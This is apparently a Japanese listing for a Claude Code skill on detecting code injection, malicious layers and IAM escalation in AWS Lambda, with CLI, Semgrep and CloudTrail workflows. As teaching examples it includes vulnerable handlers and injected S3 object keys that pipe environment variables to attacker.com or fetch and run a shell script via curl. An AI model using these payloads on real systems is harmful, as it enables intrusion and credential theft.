detecting-serverless-function-injection について
サーバーレス関数とクラウド上の活動を調査し、インジェクション、悪意あるレイヤー変更、Lambdaの権限昇格経路を確認するセキュリティスキルです。コードスキャン、イベントソースの点検、AWSログの照会を案内します。
主な機能
- 01Lambdaのトリガーと権限の把握
- 02コード内のインジェクション箇所のスキャン
- 03イベントソース汚染リスクの確認
- 04Lambdaレイヤー変更の監査
- 05IAM権限昇格活動の検出
活用シーン
- 01リリース前のLambdaコード監査
- 02不審な関数変更の調査
- 03イベントペイロード注入リスクの確認
- 04AWSでの権限昇格の監視
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill detecting-serverless-function-injectionインストール後、Claude Code で/detecting-serverless-function-injectionを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
サーバーレス関数へのコードインジェクションの検出
使用する場面
- サニタイズされていないイベントデータが危険なランタイム関数(
eval、exec、child_process.exec、os.system)に渡されることによるコードインジェクションの脆弱性について、Lambda/Cloud Functions を監査する場合 - 攻撃者が関数コードやレイヤーを改変し、サーバーレス環境に永続化したり、データを外部に流出させたりしたインシデントを調査する場合
lambda:UpdateFunctionCodeとiam:PassRoleを持つ攻撃者が、より高い権限を持つ実行ロールを引き受ける権限昇格経路を検出する場合- S3 オブジェクトのアップロード、SQS メッセージ、DynamoDB ストリームレコード、または関数の実行をトリガーする API Gateway リクエストを通じて悪意のあるペイロードが注入される、イベントソース汚染攻撃を分析する場合
- 不正な関数の変更、レイヤーの追加、不審な呼び出しパターンを監視するサーバーレスワークロード向けに、SOC チーム用の検出ルールを構築する場合
使用しないでください。サーバーレス関数に対する負荷テストやサービス拒否のシミュレーション、本番環境で顧客のライブデータを処理する関数に対する明示的な許可のないテスト、または変更管理の承認を得ずに共有アカウントの IAM ポリシーを変更する場合には使用しないでください。
前提条件
- Lambda、CloudTrail、IAM、CloudWatch Logs、EventBridge に対する読み取り権限を持つ AWS アカウントへのアクセス
- 適切な認証情報とリージョンを設定した AWS CLI v2
- Lambda のデータイベント(
Invokeイベントを記録)と管理イベント(UpdateFunctionCode、UpdateFunctionConfiguration、CreateFunctionを記録)を有効にした CloudTrail - 静的解析用の
boto3、bandit(Python SAST)、semgrepを含む Python 3.9 以降 - 静的解析用の関数ソースコードまたはデプロイパッケージへのアクセス
- Lambda 実行ログをクエリするための CloudWatch Logs Insights へのアクセス
ワークフロー
ステップ 1:サーバーレスの攻撃対象領域を列挙する
すべての Lambda 関数とイベントソースのトリガーをマッピングし、コードインジェクションの侵入経路を把握します。
- すべての Lambda 関数とその設定を一覧表示する:
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table - イベントソースマッピングを確認する:各イベントソースマッピングは、信頼できないデータが関数に入る潜在的なコードインジェクションの侵入経路です:
aws lambda list-event-source-mappings --output json | \ jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}' - API Gateway のトリガーを特定する:API Gateway のルートは、HTTP リクエストデータ(ヘッダー、クエリ文字列、本文、パスパラメーター)を Lambda イベントオブジェクトに直接渡します:
各 API について、リソースとメソッドを列挙し、ユーザーが制御できる HTTP 入力を受け取る Lambda 関数を特定します。aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table - S3 イベントトリガーを特定する:S3 バケット通知は、攻撃者が制御できるオブジェクトキーとメタデータを含むイベントで Lambda をトリガーする場合があります:
aws s3api get-bucket-notification-configuration --bucket <bucket-name> - 関数の環境変数を一覧化する:攻撃者が関数内でコードを実行すると、環境変数に含まれるシークレットが漏えいするおそれがあります:
aws lambda get-function-configuration --function-name <name> \ --query 'Environment.Variables' --output json - 過剰な権限を持つ実行ロールを特定する:
*のリソース権限や管理者ポリシーを持つ関数は、価値の高い権限昇格の標的です:aws iam list-attached-role-policies --role-name <lambda-exec-role> aws iam list-role-policies --role-name <lambda-exec-role>
ステップ 2:コードインジェクションのシンクを静的解析する
イベントデータがコードやコマンドとして実行される危険なパターンがないか、関数コードをスキャンします。
-
関数のデプロイパッケージをダウンロードする:
aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip unzip function.zip -d function_code/ -
Python のコードインジェクションシンク(Lambda Python ランタイム):文字列をコードとして実行する関数を検索します:
# DANGEROUS: Direct eval/exec of event data eval(event['expression']) # Code injection via eval exec(event['code']) # Arbitrary code execution os.system(event['command']) # OS command injection subprocess.call(event['cmd'], shell=True) # Shell injection os.popen(event['input']) # Command injection pickle.loads(event['data']) # Deserialization attack yaml.load(event['config']) # YAML deserialization (unsafe loader) -
Node.js のコードインジェクションシンク(Lambda Node.js ランタイム):
// DANGEROUS: Direct execution of event data eval(event.expression); // Code injection new Function(event.code)(); // Dynamic function creation child_process.exec(event.command); // OS command injection child_process.execSync(event.cmd); // Synchronous command injection vm.runInNewContext(event.script); // Sandbox escape potential require('child_process').exec(event.input); // Import-and-execute pattern -
サーバーレス向けルールで Semgrep を実行する:イベントデータがコードインジェクションのシンクに渡されることを検出する、専用のルールを使用します:
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \ --config "p/python-security" function_code/ --json --output semgrep_results.json -
Python 関数に対して Bandit を実行する:
bandit -r function_code/ -f json -o bandit_results.json \ -t B102,B301,B307,B602,B603,B604,B605,B606,B607これらのテスト ID は、
exec、pickle、eval、shell=Trueを指定したsubprocessなど、コードインジェクションに関連するパターンを対象としています。 -
カスタムパターンを検出する:イベントデータが文字列に連結され、その文字列が後から実行される間接的なコードインジェクションのパターンを検索します:
# Indirect injection: event data flows into SQL query string query = f"SELECT * FROM users WHERE id = '{event['userId']}'" cursor.execute(query) # SQL injection # Indirect injection: event data flows into template rendering template = event['template'] rendered = jinja2.Template(template).render() # SSTI
ステップ 3:イベントソースのポイズニングを検出する
Lambda がトリガーを処理する仕組みを悪用するインジェクションペイロードがないか、イベントソースを分析します。
-
S3 イベントキーのインジェクション:Lambda 関数が S3 イベントを処理する場合、イベントレコードのオブジェクトキーにインジェクションペイロードが含まれている可能性があります。攻撃者は悪意のあるキー名を持つオブジェクトをアップロードします。
# Vulnerable Lambda handler def handler(event, context): bucket = event['Records'][0]['s3']['bucket']['name'] key = event['Records'][0]['s3']['object']['key'] # VULNERABLE: key is attacker-controlled os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")攻撃:キー
; curl http://attacker.com/exfil?data=$(env)のオブジェクトをアップロードし、S3 イベントを介してコマンドを注入します。 -
SQS メッセージ本文のインジェクション:Lambda は、本文に攻撃者が制御するデータが含まれる SQS メッセージを処理します。
# Vulnerable Lambda handler def handler(event, context): for record in event['Records']: message = json.loads(record['body']) # VULNERABLE: message content used in eval result = eval(message['formula']) -
API Gateway のヘッダー/パラメーターインジェクション:HTTP リクエストデータは API Gateway を通じて Lambda イベントに渡されます。
# Vulnerable Lambda handler def handler(event, context): user_agent = event['headers']['User-Agent'] # VULNERABLE: header value used in shell command subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True) -
DynamoDB Streams レコードのインジェクション:DynamoDB アイテムが変更されると、新しいレコード値を含むイベントで Lambda がトリガーされます。攻撃者がテーブルに書き込める場合、イベントデータを制御できます。
# Vulnerable Lambda handler def handler(event, context): for record in event['Records']: new_image = record['dynamodb']['NewImage'] config = new_image['config']['S'] # VULNERABLE: DynamoDB record value used in exec exec(config) -
CloudWatch Logs Insights による検出:関数の実行ログを検索し、インジェクション試行の証拠を探します。
fields @timestamp, @message | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/ | filter @message like /(?i)(error|exception|traceback|syntax)/ | sort @timestamp desc | limit 100
ステップ 4:悪意のある Lambda レイヤーの注入を検出する
関数の実行を傍受したり、データを流出させたりする、許可されていない Lambda レイヤーを特定します。
-
現在のレイヤーのアタッチ状況を監査する:すべての関数とレイヤーのバージョンを一覧表示し、予期しない追加がないか確認します。
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json -
CloudTrail でレイヤー変更イベントを検出する:レイヤーを追加または変更する
UpdateFunctionConfigurationイベントを検索します。aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \ --start-time "2026-03-12T00:00:00Z" \ --end-time "2026-03-19T23:59:59Z" \ --query 'Events[*].[EventTime,Username,CloudTrailEvent]'CloudTrailEventの JSON を解析し、リクエストパラメーター内でLayersが変更されているか確認します。 -
レイヤーの内容を分析する:レイヤーパッケージをダウンロードし、悪意のあるコードがないか調べます。
aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \ --query 'Content.Location' --output text | xargs curl -o layer.zip unzip layer.zip -d layer_contents/ # Search for suspicious patterns grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/ -
レイヤー乗っ取りの兆候:悪意のあるレイヤーは、ランタイムの検索パスにファイルを配置して、関数のランタイム動作を上書きできます。
- Python:
/opt/python/内のレイヤーコードは、関数独自のモジュールより先にインポートされます - Node.js:
/opt/nodejs/node_modules/内のレイヤーコードは、関数の依存関係を上書きします - 変更された
boto3パッケージを提供するレイヤーは、すべての AWS API 呼び出しを傍受し、認証情報を記録して、攻撃者が管理するエンドポイントにリクエストを転送できます
- Python:
-
レイヤー変更を検出する CloudTrail クエリ:
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"], "errorCode": [{"exists": false}] } }
ステップ 5:Lambda を介した IAM 権限昇格を検出する
攻撃者が関数を変更して、より高い権限を持つロールを引き受ける権限昇格経路を特定します。
-
Lambda の権限昇格パターン:
lambda:UpdateFunctionCodeとiam:PassRoleの権限を持つ攻撃者は、次のことができます。- 高い権限を持つ実行ロール(例:AdministratorAccess)が設定された Lambda 関数を特定する
- 関数のコードを変更して、
sts:GetCallerIdentityを呼び出すか、特権操作を実行する - 関数を呼び出し、高い権限を持つロールで実行させる
- 関数の環境変数(
AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN)からロールの一時認証情報を流出させる
-
UpdateFunctionCode イベントを検出する:関数コードの変更を CloudTrail で監視します。
aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \ --start-time "2026-03-12T00:00:00Z" \ --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table -
Lambda への PassRole を検出する:関数に別の実行ロールをアタッチするには
iam:PassRoleが必要です。次のように監視します。# CloudWatch Logs Insights on CloudTrail logs fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role | filter eventName = "UpdateFunctionConfiguration20150331v2" | filter ispresent(requestParameters.role) | sort eventTime desc -
Lambda からの認証情報流出を検出する:侵害された関数は STS を呼び出したり、新しい IAM エンティティを作成したりする可能性があります。
fields eventTime, userIdentity.arn, eventName, sourceIPAddress | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/ | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy", "CreateAccessKey", "AssumeRole", "PutUserPolicy"] | sort eventTime desc -
リアルタイムアラート用の EventBridge ルール:関数コードが変更されるたびに SNS アラートを送信する EventBridge ルールを作成します。
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": [ "UpdateFunctionCode20150331v2", "UpdateFunctionConfiguration20150331v2", "CreateFunction20150331" ], "errorCode": [{"exists": false}] } }
ステップ 6:実行時のインジェクション防止を実装する
実行時にインジェクションを防止する保護制御を導入します。
-
ハンドラーの入口での入力検証:処理の前に、すべてのイベントデータを検証してサニタイズします。
import re import json from functools import wraps SAFE_PATTERNS = { 'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'), 'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'), 'action': re.compile(r'^(get|list|create|update|delete)$'), } def validate_event(schema): """Decorator that validates Lambda event against a whitelist schema.""" def decorator(func): @wraps(func) def wrapper(event, context): for field, pattern in schema.items(): value = event.get(field, '') if isinstance(value, str) and not pattern.match(value): return { 'statusCode': 400, 'body': json.dumps({'error': f'Invalid {field}'}) } return func(event, context) return wrapper return decorator @validate_event(SAFE_PATTERNS) def handler(event, context): # Event data is validated before reaching this point user_id = event['userId'] # Safe to use in queries with parameterized statements return {'statusCode': 200, 'body': json.dumps({'user': user_id})} -
Lambda 関数 URL の認可:URL 経由で公開される関数に IAM 認証が必要となるようにします。
aws lambda get-function-url-config --function-name <name> \ --query 'AuthType' --output text # Must return "AWS_IAM", not "NONE" -
最小権限の実行ロール:関数の IAM ロールを、必要最小限の権限に制限します。
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "dynamodb:GetItem", "dynamodb:PutItem" ], "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable" }, { "Effect": "Allow", "Action": "logs:*", "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*" } ] } -
危険な Lambda の変更を防ぐ SCP:組織レベルでサービスコントロールポリシーを適用し、Lambda 関数の変更やロールの引き継ぎができるユーザーを制限します。
{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyLambdaCodeUpdateExceptCICD", "Effect": "Deny", "Action": [ "lambda:UpdateFunctionCode", "lambda:UpdateFunctionConfiguration" ], "Resource": "*", "Condition": { "StringNotLike": { "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole" } } } ] } -
構造化ログのための AWS Lambda Powertools:SIEM に取り込める構造化セキュリティイベントを出力します。
from aws_lambda_powertools import Logger, Tracer from aws_lambda_powertools.utilities.validation import validate logger = Logger(service="payment-processor") tracer = Tracer() @logger.inject_lambda_context @tracer.capture_lambda_handler def handler(event, context): logger.info("Processing event", extra={ "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'), "user_agent": event.get('headers', {}).get('User-Agent'), "http_method": event.get('httpMethod'), })
主な概念
| 用語 | 定義 |
|---|---|
| イベントソースポイズニング | サーバーレスのイベントソース(S3、SQS、DynamoDB Stream、API Gateway)に悪意のあるデータを注入し、関数がイベントを処理する際にコード実行やインジェクションを引き起こす攻撃です |
| 関数インジェクション | サーバーレス関数のハンドラー内で、サニタイズされていないイベントデータが危険な実行時関数(eval、exec、os.system、child_process.exec)に渡されることを悪用する攻撃です |
| Lambda レイヤーの乗っ取り | 悪意のある Lambda レイヤーを関数にアタッチし、実行を傍受したり、依存関係を上書きしたり、ランタイムのモジュール検索パスにコードを配置してデータを窃取したりする攻撃です |
| Lambda 経由の IAM 権限昇格 | UpdateFunctionCode と PassRole の権限を持つ攻撃者が関数を変更し、より高い権限を持つ IAM ロールで実行して、一時的な認証情報を取得する手法です |
| OWASP Serverless Top 10 | インジェクション(SAS-1)、認証の不備(SAS-2)、過剰な権限を持つ関数(SAS-6)など、サーバーレスアーキテクチャにおける最も重大な 10 のリスクを特定するセキュリティフレームワークです |
| コールドスタートインジェクション | ハンドラーの実行前に環境変数、レイヤーコード、拡張機能が実行される関数の初期化フェーズを標的とし、監視されていない状況で攻撃を行う可能性がある手法です |
| 実行ロール | 実行中に Lambda 関数が引き受ける IAM ロールです。一時的な認証情報を提供し、関数がアクセスできる AWS API の権限を定義します |
ツールとシステム
- Semgrep:Python、Node.js、Java、Go の Lambda ランタイム全体で、イベントデータがインジェクションの実行先に渡されることを検出する、サーバーレス専用ルールパックを備えた静的解析ツールです
- Bandit:eval、exec、shell=True を指定した subprocess、pickle のデシリアライズの使用など、セキュリティ上の問題を特定する Python 専用の SAST ツールです
- AWS CloudTrail:Lambda の管理イベント(UpdateFunctionCode、CreateFunction)とデータイベント(Invoke)を記録し、不正な変更や異常な呼び出しパターンの検出に役立ちます
- CloudWatch Logs Insights:Lambda の実行ログを検索し、インジェクション試行の兆候、実行時エラー、不審なコマンドパターンを調べるクエリエンジンです
- AWS Config:レイヤーのインベントリ、実行ロールの権限、関数 URL の認可タイプなど、コンプライアンスルールに照らして Lambda 関数の設定を評価します
- Prowler:パブリックアクセス、過剰な権限を持つロール、暗号化の欠如を確認する Lambda 専用チェックを備えた、オープンソースの AWS セキュリティ評価ツールです
一般的なシナリオ
シナリオ:Lambda ベースの権限昇格攻撃を検知して対応する
状況:ある SOC アナリストが、複数の Lambda 関数で使用される IAM ロールに対する UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS の GuardDuty アラートを受け取ります。調査の結果、攻撃者が lambda:UpdateFunctionCode 権限を持つ開発者の AWS 認証情報を侵害し、決済処理関数を改ざんして、実行ロールの一時認証情報を外部に流出させたことが判明します。
アプローチ:
- CloudTrail で過去 7 日間の
UpdateFunctionCodeイベントを検索し、関数がいつ、どのプリンシパルによって変更されたかを特定します。fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress | filter eventName = "UpdateFunctionCode20150331v2" | filter requestParameters.functionName = "payment-processor" | sort eventTime desc - 通常のデプロイ時間外である 02:47 UTC に、予期しない地理的位置の IP アドレスから関数が変更されたことを確認します。
- 変更された関数コードをダウンロードし、各呼び出し時に
os.environ['AWS_ACCESS_KEY_ID']、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKENを外部エンドポイントに POST する、挿入されたコードを見つけます。 - レイヤーの変更を含む
UpdateFunctionConfigurationイベントを検索し、攻撃者が悪意のあるレイヤーも追加していないか確認します。 - 関数の実行ロールの権限を確認します。決済処理ロールにはすべてのリソースに対する
dynamodb:*、s3:GetObject、s3:PutObject、sqs:SendMessageが付与されており、最小権限の原則を超えています。 - CloudTrail で、流出した認証情報を使って AWS 外部から実行された API 呼び出しを検索します。
sts:GetCallerIdentity、s3:ListBuckets、顧客テーブルに対するdynamodb:Scan、iam:CreateUserの試行が見つかります。 - CI/CD アーティファクトストアにある最後の正常なデプロイパッケージから関数コードを復元し、実行ロールのセッショントークンをローテーションします。また、
lambda:UpdateFunctionCodeを CI/CD ロールのみに制限する SCP を追加します。
注意点:
- 関数コードだけを確認し、関数コードを復元した後も残る悪意のあるレイヤーを見落とす
- 流出した認証情報による他の AWS サービスへの水平移動を調査せず、DynamoDB や S3 からのデータ流出を見落とす
- 認証情報が有効だった期間に、攻撃者が新しい IAM ユーザー、アクセスキー、ロールを作成したか確認しない
- フォレンジック証拠として悪意のあるコードを保全する前に関数を復元する
- 修復後に予防的な制御(SCP、EventBridge アラート)を実装せず、同じ攻撃経路を残す
出力形式
## Serverless Function Injection Assessment
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
### Critical Findings
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
Object key: `; curl http://attacker.com/shell.sh | bash`
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
function's deployment package, add AWS Config rule to block external layers.
### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions